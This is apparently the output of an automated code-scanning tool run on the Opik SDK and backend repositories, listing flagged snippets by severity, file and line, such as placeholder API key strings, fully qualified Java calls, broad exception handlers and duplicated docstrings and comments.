| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1308 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1344 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1374 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1433 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1507 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1558 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1602 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1658 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1718 | client = OpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 1795 | client = AsyncOpikApi(api_key="YOUR_API_KEY", workspace_name="YOUR_WORKSPACE_NAME", ) | STRING |
| 600 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | sdks/python/tests/unit/runner/test_supervisor.py | 555 | checklist = api.runners.patch_checklist.call_args.kwargs.get( | STRING |
| CRITICAL | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 6 | from opik_optimizer.utils.helpers import json_to_dict | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 158 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 165 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 172 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 179 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 188 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL⚡ | sdks/opik_optimizer/tests/unit/utils/test_utils.py | 198 | from opik_optimizer.utils.helpers import _convert_literals_to_json_compatible | CODE |
| CRITICAL | sdks/opik_optimizer/benchmarks/engines/local/engine.py | 31 | from benchmarks.utils.helpers import make_serializable | CODE |
| CRITICAL | sdks/opik_optimizer/benchmarks/engines/modal/volume.py | 10 | from benchmarks.utils.helpers import make_serializable | CODE |
| CRITICAL | …es/v1/priv/PromptResourceProjectScopedPromptsTest.java | 127 | URLEncoder.encode(com.comet.opik.utils.JsonUtils.writeValueAsString(sortingFields), | CODE |
| CRITICAL | …k/api/resources/v1/priv/OpenTelemetryResourceTest.java | 389 | var spanBuilder = com.comet.opik.api.Span.builder() | CODE |
| CRITICAL | …k/api/resources/v1/priv/OpenTelemetryResourceTest.java | 915 | var existingSpan = com.comet.opik.api.Span.builder() | CODE |
| CRITICAL | …ik/api/resources/v1/priv/LocalRunnersResourceTest.java | 777 | @org.junit.jupiter.params.provider.MethodSource("paramsWithPresenceCases") | CODE |
| CRITICAL | …ik/api/resources/v1/priv/LocalRunnersResourceTest.java | 794 | org.junit.jupiter.params.provider.Arguments.of(List.of( | CODE |
| CRITICAL | …ik/api/resources/v1/priv/LocalRunnersResourceTest.java | 801 | org.junit.jupiter.params.provider.Arguments.of(List.of( | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 142 | .post(jakarta.ws.rs.client.Entity.json(request)); | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 171 | .post(jakarta.ws.rs.client.Entity.json(request)); | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 192 | .post(jakarta.ws.rs.client.Entity.json(request)); | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 211 | .post(jakarta.ws.rs.client.Entity.json(request)); | CODE |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 270 | .post(jakarta.ws.rs.client.Entity.json(request)); | STRING |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 314 | .post(jakarta.ws.rs.client.Entity.json(request)); | STRING |
| CRITICAL | …met/opik/api/resources/v1/priv/OllamaResourceTest.java | 335 | .post(jakarta.ws.rs.client.Entity.json(request)); | STRING |
| CRITICAL | …api/resources/v1/priv/ChatCompletionsResourceTest.java | 484 | com.github.tomakehurst.wiremock.client.WireMock.equalTo(apiVersion))); | CODE |
| CRITICAL | …pi/resources/v1/priv/FindTraceThreadsResourceTest.java | 1542 | var matchingValue = com.comet.opik.utils.JsonUtils.getJsonNodeFromString( | CODE |
| CRITICAL | …riv/ExperimentsResourceFindProjectExperimentsTest.java | 545 | com.comet.opik.api.resources.utils.ListComparators.ascending()) | CODE |
| CRITICAL | …riv/ExperimentsResourceFindProjectExperimentsTest.java | 551 | com.comet.opik.api.resources.utils.ListComparators.descending()) | CODE |
| CRITICAL | …ik/api/resources/v1/priv/AgentConfigsResourceTest.java | 952 | com.comet.opik.domain.AgentConfigEnv.builder() | CODE |
| CRITICAL | …s/v1/priv/ProjectMetricsWithBreakdownResourceTest.java | 106 | wireMock = com.comet.opik.api.resources.utils.WireMockUtils.startWireMock(); | CODE |
| CRITICAL | …rces/v1/priv/AutomationRuleEvaluatorsResourceTest.java | 1028 | .isEqualTo((new com.comet.opik.api.error.ErrorMessage( | STRING |
| CRITICAL | …t/opik/api/resources/v1/priv/DatasetsResourceTest.java | 11044 | var changes = com.comet.opik.api.DatasetItemChanges.builder() | STRING |
| CRITICAL | …t/opik/api/resources/v1/priv/DatasetsResourceTest.java | 11098 | .put(jakarta.ws.rs.client.Entity.json( | STRING |
| CRITICAL | …ts/OnlineScoringUserDefinedMetricPythonScorerTest.java | 209 | var span = com.comet.opik.api.Span.builder() | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 241 | org.assertj.core.api.Assertions.assertThat(useTools).isFalse(); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 245 | return com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder() | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 255 | return com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder() | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 368 | org.assertj.core.api.Assertions.assertThat(sent.get(0).messages()).hasSize(3); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 369 | org.assertj.core.api.Assertions.assertThat(sent.get(0).toolSpecifications()) | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 377 | org.assertj.core.api.Assertions.assertThat(finalSent.toolSpecifications()).isNullOrEmpty(); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 378 | org.assertj.core.api.Assertions.assertThat(finalSent.messages()).hasSize(5); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 379 | org.assertj.core.api.Assertions.assertThat(finalSent.messages().get(3)) | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 381 | org.assertj.core.api.Assertions.assertThat(finalSent.messages().get(4)) | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 383 | org.assertj.core.api.Assertions.assertThat( | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 493 | org.assertj.core.api.Assertions.assertThat(finalSent.toolSpecifications()).isNullOrEmpty(); | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 495 | org.assertj.core.api.Assertions.assertThat(lastMessage) | CODE |
| CRITICAL⚡ | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 497 | org.assertj.core.api.Assertions.assertThat( | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 191 | @org.junit.jupiter.params.provider.CsvSource({ | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 222 | org.assertj.core.api.Assertions.assertThat(useTools).isEqualTo(expectedUseTools); | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 308 | org.assertj.core.api.Assertions.assertThat(result).isSameAs(plainResponse); | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 357 | org.assertj.core.api.Assertions.assertThat(result).isSameAs(finalResponse); | CODE |
| CRITICAL | …ents/OnlineScoringTraceThreadLlmAsJudgeScorerTest.java | 481 | org.assertj.core.api.Assertions.assertThat(result).isSameAs(finalResponse); | CODE |
| CRITICAL⚡ | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1133 | var multimodalMessage = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder() | STRING |
| CRITICAL⚡ | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1136 | com.comet.opik.api.evaluators.LlmAsJudgeMessageContent.builder() | STRING |
| CRITICAL⚡ | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1140 | com.comet.opik.api.evaluators.LlmAsJudgeMessageContent.builder() | STRING |
| CRITICAL⚡ | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1142 | .imageUrl(com.comet.opik.api.evaluators.LlmAsJudgeMessageContent.ImageUrl.builder() | STRING |
| CRITICAL | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1156 | var multimodalNoSpans = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder() | STRING |
| CRITICAL | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1159 | com.comet.opik.api.evaluators.LlmAsJudgeMessageContent.builder() | STRING |
| CRITICAL | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1171 | var spansMessage = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder() | STRING |
| CRITICAL | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1175 | var noSpansMessage = List.of(com.comet.opik.api.evaluators.LlmAsJudgeMessage.builder() | STRING |
| CRITICAL | …k/api/resources/v1/events/OnlineScoringEngineTest.java | 1245 | .model(com.comet.opik.api.evaluators.LlmAsJudgeModelParameters.builder() | STRING |
| 86 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ntegration/langchain/test_opik_langchain_chat_model.py | 0 | ``generate_chat_completion`` returns a typed assistant ``conversationdict``. | STRING |
| HIGH | …ary_integration/anthropic/test_anthropic_chat_model.py | 0 | ``generate_chat_completion`` returns a typed assistant ``conversationdict``. | STRING |
| HIGH | …library_integration/litellm/test_litellm_chat_model.py | 0 | ``generate_chat_completion`` returns a typed assistant ``conversationdict``. | STRING |
| HIGH | …ntegration/langchain/test_opik_langchain_chat_model.py | 0 | async ``agenerate_chat_completion`` returns the same shape as the sync path. | STRING |
| HIGH | …ary_integration/anthropic/test_anthropic_chat_model.py | 0 | async ``agenerate_chat_completion`` returns the same shape as the sync path. | STRING |
| HIGH | …library_integration/litellm/test_litellm_chat_model.py | 0 | async ``agenerate_chat_completion`` returns the same shape as the sync path. | STRING |
| HIGH | …ests/e2e_library_integration/adk/sample_agent/agent.py | 0 | retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve | STRING |
| HIGH | …ibrary_integration/adk/sample_agent_anthropic/agent.py | 0 | retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve | STRING |
| HIGH | …e_library_integration/adk/sample_agent_openai/agent.py | 0 | retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve | STRING |
| HIGH | …/e2e_library_integration/adk/sample_agent_sse/agent.py | 0 | retrieves the current weather report for a specified city. args: city (str): the name of the city for which to retrieve | STRING |
| HIGH | …ests/e2e_library_integration/adk/sample_agent/agent.py | 0 | returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current t | STRING |
| HIGH | …ibrary_integration/adk/sample_agent_anthropic/agent.py | 0 | returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current t | STRING |
| HIGH | …e_library_integration/adk/sample_agent_openai/agent.py | 0 | returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current t | STRING |
| HIGH | …/e2e_library_integration/adk/sample_agent_sse/agent.py | 0 | returns the current time in a specified city. args: city (str): the name of the city for which to retrieve the current t | STRING |
| HIGH | sdks/python/tests/e2e/test_dataset.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | sdks/python/tests/e2e/compatibility_v1/test_dataset.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …ibility_v1/evaluation/test_evaluate_dataset_version.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …ility_v1/evaluation/test_evaluate_scoring_functions.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …/tests/e2e/evaluation/test_evaluate_dataset_version.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …ests/e2e/evaluation/test_evaluate_scoring_functions.py | 0 | wait for dataset to have the expected version, fail if not reached. | STRING |
| HIGH | …ks/python/src/opik/llm_usage/openai_responses_usage.py | 0 | total number of tokens used in the request (prompt + completion). | STRING |
| HIGH | …on/src/opik/llm_usage/openai_chat_completions_usage.py | 0 | total number of tokens used in the request (prompt + completion). | STRING |
| HIGH | sdks/python/src/opik/llm_usage/mistral_usage.py | 0 | total number of tokens used in the request (prompt + completion). | STRING |
| HIGH | …evaluation/metrics/llm_judges/context_recall/metric.py | 0 | asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous ve | STRING |
| HIGH | …aluation/metrics/llm_judges/answer_relevance/metric.py | 0 | asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous ve | STRING |
| HIGH | …luation/metrics/llm_judges/context_precision/metric.py | 0 | asynchronously calculate the context precision score for the given input-output pair. this method is the asynchronous ve | STRING |
| HIGH | sdks/python/src/opik/evaluation/models/base_model.py | 0 | async counterpart of :meth:`generate_chat_completion`. | STRING |
| HIGH | …ik/evaluation/models/langchain/langchain_chat_model.py | 0 | async counterpart of :meth:`generate_chat_completion`. | STRING |
| HIGH | …c/opik/evaluation/models/litellm/litellm_chat_model.py | 0 | async counterpart of :meth:`generate_chat_completion`. | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/base_prompt.py | 0 | legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lon | STRING |
| HIGH | …python/src/opik/api_objects/prompt/chat/chat_prompt.py | 0 | legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lon | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/text/prompt.py | 0 | legacy commit hash of the prompt version. deprecated — use :attr:`version` (e.g. ``"v3"``) instead. ``commit`` is no lon | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/base_prompt.py | 0 | the sequential version selector for the prompt (e.g. ``"v3"``). | STRING |
| HIGH | …python/src/opik/api_objects/prompt/chat/chat_prompt.py | 0 | the sequential version selector for the prompt (e.g. ``"v3"``). | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/text/prompt.py | 0 | the sequential version selector for the prompt (e.g. ``"v3"``). | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/base_prompt.py | 0 | the environments that currently own this prompt version, or ``none`` if unowned. | STRING |
| HIGH | …python/src/opik/api_objects/prompt/chat/chat_prompt.py | 0 | the environments that currently own this prompt version, or ``none`` if unowned. | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/text/prompt.py | 0 | the environments that currently own this prompt version, or ``none`` if unowned. | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/base_prompt.py | 0 | convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version i | STRING |
| HIGH | …python/src/opik/api_objects/prompt/chat/chat_prompt.py | 0 | convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version i | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/text/prompt.py | 0 | convert the prompt to an info dictionary for serialization. returns: dictionary containing prompt metadata and version i | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| HIGH | sdks/python/src/opik/rest_api/projects/client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| HIGH | sdks/python/src/opik/rest_api/datasets/client.py | 0 | delete dataset by id parameters ---------- id : str request_options : typing.optional[requestoptions] request-specific c | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 0 | find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 0 | find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] | STRING |
| HIGH | sdks/python/src/opik/rest_api/experiments/client.py | 0 | find feedback score names parameters ---------- experiment_ids : typing.optional[str] project_id : typing.optional[str] | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/projects/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/datasets/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/dashboards/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/prompts/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | …ython/src/opik/rest_api/feedback_definitions/client.py | 0 | delete feedback definition by id parameters ---------- id : str request_options : typing.optional[requestoptions] reques | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 0 | delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[req | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 0 | delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[req | STRING |
| HIGH | sdks/python/src/opik/rest_api/insights_views/client.py | 0 | delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[req | STRING |
| HIGH | sdks/python/src/opik/rest_api/experiments/client.py | 0 | delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[req | STRING |
| HIGH | sdks/python/src/opik/rest_api/projects/client.py | 0 | delete feedback definitions batch parameters ---------- ids : typing.sequence[str] request_options : typing.optional[req | STRING |
| 121 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1362 | except Exception as ex: | CODE |
| LOW | sdks/python/design/EVALUATION.md | 646 | except Exception as e: | CODE |
| LOW | sdks/python/design/EVALUATION.md | 1095 | except Exception as e: | CODE |
| LOW | sdks/python/design/EVALUATION.md | 1130 | except Exception as e: | CODE |
| LOW | sdks/python/design/EVALUATION.md | 1175 | except Exception as e: | CODE |
| MEDIUM | sdks/python/design/EVALUATION.md | 1127 | def score(self, **kwargs) -> ScoreResult: | CODE |
| LOW⚡ | sdks/python/tests/conftest.py | 353 | except Exception as e: | CODE |
| LOW⚡ | sdks/python/tests/unit/runner/test_activate.py | 45 | except Exception as e: | CODE |
| MEDIUM | sdks/python/tests/unit/runner/test_activate.py | 42 | def run(): | CODE |
| LOW | …ython/tests/unit/api_objects/agent_config/test_base.py | 1642 | except Exception: | CODE |
| LOW | …ython/tests/unit/api_objects/agent_config/test_base.py | 1671 | except Exception: | CODE |
| LOW | …ython/tests/unit/api_objects/agent_config/test_base.py | 1752 | except Exception: | CODE |
| LOW | …ython/tests/unit/api_objects/agent_config/test_base.py | 1810 | except Exception: | CODE |
| LOW | …/tests/library_integration/langchain/test_langchain.py | 642 | except Exception: | CODE |
| LOW | …integration/metrics_with_llm_judge/agentic/conftest.py | 85 | except Exception as exc: # noqa: BLE001 — propagate as skip | CODE |
| LOW | …ry_integration/pydantic_ai/test_pydantic_ai_logfire.py | 453 | except Exception: | CODE |
| LOW | sdks/python/tests/e2e/verifiers.py | 1134 | except Exception: | CODE |
| MEDIUM | sdks/python/tests/e2e/verifiers.py | 79 | def _attempt() -> bool: | CODE |
| LOW | sdks/python/tests/e2e/test_tracing.py | 127 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 199 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 285 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 315 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 481 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 699 | except Exception: | CODE |
| LOW | …ks/python/tests/e2e/evaluation/test_evaluate_resume.py | 800 | except Exception: | CODE |
| LOW | sdks/python/examples/resume_evaluation.py | 77 | except Exception: | CODE |
| LOW | …s/python/examples/trajectory_accuracy_judge_example.py | 67 | except Exception as e: | CODE |
| LOW | …s/python/examples/trajectory_accuracy_judge_example.py | 130 | except Exception as e: | CODE |
| LOW | …s/python/examples/trajectory_accuracy_judge_example.py | 190 | except Exception as e: | CODE |
| LOW | sdks/python/examples/trajectory_accuracy_evaluation.py | 183 | except Exception as e: | CODE |
| LOW | sdks/python/src/opik/_logging.py | 76 | except Exception: | CODE |
| LOW | sdks/python/src/opik/synchronization.py | 44 | except Exception: | CODE |
| LOW | sdks/python/src/opik/opik_context.py | 257 | except Exception as exception: | CODE |
| LOW | sdks/python/src/opik/jsonable_encoder.py | 96 | except Exception: | CODE |
| LOW | sdks/python/src/opik/environment.py | 32 | except Exception: | CODE |
| LOW | sdks/python/src/opik/environment.py | 95 | except Exception: | CODE |
| LOW | sdks/python/src/opik/environment.py | 112 | except Exception: | CODE |
| LOW | sdks/python/src/opik/environment.py | 129 | except Exception: | CODE |
| MEDIUM | sdks/python/src/opik/environment.py | 29 | def get_user() -> str: | CODE |
| LOW⚡ | sdks/python/src/opik/tracing_runtime_config.py | 30 | except Exception: | CODE |
| LOW | sdks/python/src/opik/file_upload/upload_manager.py | 49 | except Exception as exception: | CODE |
| LOW | sdks/python/src/opik/file_upload/file_uploader.py | 41 | except Exception as e: | CODE |
| LOW | …ik/file_upload/s3_multipart_upload/s3_file_uploader.py | 47 | except Exception as e: | CODE |
| LOW | …/python/src/opik/error_tracking/environment_details.py | 83 | except Exception: | CODE |
| LOW | sdks/python/src/opik/error_tracking/before_send.py | 24 | except Exception: | CODE |
| LOW | sdks/python/src/opik/error_tracking/before_send.py | 61 | except Exception: | CODE |
| LOW⚡ | …king/error_filtering/filter_by_response_status_code.py | 30 | except Exception: | CODE |
| LOW⚡ | …king/error_filtering/filter_by_response_status_code.py | 44 | except Exception: | CODE |
| LOW | …rc/opik/error_tracking/error_filtering/filter_chain.py | 21 | except Exception as e: | CODE |
| LOW⚡ | sdks/python/src/opik/llm_usage/opik_usage_factory.py | 36 | except Exception as exc_info: | CODE |
| LOW⚡ | sdks/python/src/opik/llm_usage/opik_usage_factory.py | 53 | except Exception: | CODE |
| LOW⚡ | sdks/python/src/opik/llm_usage/opik_usage_factory.py | 67 | except Exception: | CODE |
| LOW | sdks/python/src/opik/decorator/generator_wrappers.py | 131 | except Exception as exception: | CODE |
| LOW | sdks/python/src/opik/decorator/generator_wrappers.py | 170 | except Exception as exception: | CODE |
| LOW | sdks/python/src/opik/decorator/generator_wrappers.py | 181 | except Exception: | CODE |
| MEDIUM | sdks/python/src/opik/decorator/generator_wrappers.py | 117 | def __next__(self) -> YieldType: | CODE |
| MEDIUM | sdks/python/src/opik/decorator/generator_wrappers.py | 156 | def __anext__(self) -> YieldType: | CODE |
| LOW | sdks/python/src/opik/decorator/base_track_decorator.py | 226 | except Exception as exception: | CODE |
| LOW | sdks/python/src/opik/decorator/base_track_decorator.py | 271 | except Exception as exception: | CODE |
| LOW | sdks/python/src/opik/decorator/base_track_decorator.py | 309 | except Exception as exception: | CODE |
| 673 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | sdks/python/tests/conftest.py | 118 | # Create an upload manager first | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 1429 | # Create the experiment JSON file the fast path will read from disk. | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_config.py | 47 | # Create a config parser to parse the written content | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_config.py | 70 | # Create a config parser to parse the written content | COMMENT |
| MEDIUM | …ks/python/tests/unit/decorator/test_tracker_outputs.py | 2098 | # Create a partial function (similar to the user's use case that was crashing) | COMMENT |
| MEDIUM | …ks/python/tests/unit/decorator/test_inspect_helpers.py | 23 | # Create a partial function | COMMENT |
| MEDIUM | …xt_manager/test_distributed_headers_context_manager.py | 178 | # Create a parent trace with a span to get valid IDs | COMMENT |
| MEDIUM | …xt_manager/test_distributed_headers_context_manager.py | 206 | # Create a parent trace to get a valid trace ID | COMMENT |
| MEDIUM | sdks/python/tests/unit/runner/test_file_watcher.py | 38 | # Create a subdir so watchfiles has something to watch without triggering | COMMENT |
| MEDIUM | …ks/python/tests/unit/simulation/test_simulated_user.py | 105 | # Create a long conversation history (15 messages) | COMMENT |
| MEDIUM | …t/message_processing/test_streamer_with_attachments.py | 69 | # Create a span message with potential attachment data but no end_time | COMMENT |
| MEDIUM | …t/message_processing/test_streamer_with_attachments.py | 110 | # Create a trace message with potential attachment data but no end_time | COMMENT |
| MEDIUM | …/tests/unit/message_processing/test_encoder_helpers.py | 245 | # Create an anonymizer that just adds a prefix | COMMENT |
| MEDIUM | …tests/unit/message_processing/test_jsonable_encoder.py | 29 | # Create a simple two-node cycle: A -> B -> A | COMMENT |
| MEDIUM | …ng/processors/test_attachments_extraction_processor.py | 41 | # Create a regular message (not wrapped) | COMMENT |
| MEDIUM | …ng/processors/test_attachments_extraction_processor.py | 75 | # Create an original message with plain text | COMMENT |
| MEDIUM | …ng/processors/test_attachments_extraction_processor.py | 119 | # Create a span message with input containing base64 | COMMENT |
| MEDIUM | …ests/unit/message_processing/replay/test_db_manager.py | 133 | # Create a read-only connection that will fail on CREATE TABLE | COMMENT |
| MEDIUM | sdks/python/tests/unit/cli/test_import_experiment.py | 529 | # Create a 4-level hierarchy: root -> child -> grandchild -> great-grandchild | COMMENT |
| MEDIUM | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 278 | # Create a structure where strings at different depths can be tested | COMMENT |
| MEDIUM | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 511 | # Create a structure that tests depth limiting with strings at different levels | COMMENT |
| MEDIUM | sdks/python/tests/unit/evaluation/test_evaluate.py | 1158 | # Create a sampler that will reduce to 3 items | COMMENT |
| MEDIUM | sdks/python/tests/unit/evaluation/test_evaluate.py | 1251 | # Create a task span metric to force non-streaming mode | COMMENT |
| MEDIUM | sdks/python/tests/unit/evaluation/test_evaluate.py | 1349 | # Create a sampler that will further reduce to 3 items | COMMENT |
| MEDIUM | sdks/python/tests/unit/evaluation/test_evaluate.py | 2565 | # Create a real Experiment instance with mocked dependencies | COMMENT |
| MEDIUM | …lm_judges/conversation/user_frustration/test_metric.py | 196 | # Create a new metric with include_reason=False | COMMENT |
| MEDIUM | …lm_judges/conversation/user_frustration/test_metric.py | 218 | # Create a new metric with include_reason=False | COMMENT |
| MEDIUM | …s/conversation/conversational_coherence/test_metric.py | 195 | # Create a new metric with include_reason=False | COMMENT |
| MEDIUM | …s/conversation/conversational_coherence/test_metric.py | 218 | # Create a new metric with include_reason=False | COMMENT |
| MEDIUM | …ests/unit/evaluation/threads/test_evaluation_engine.py | 201 | # Create an engine with multiple workers | COMMENT |
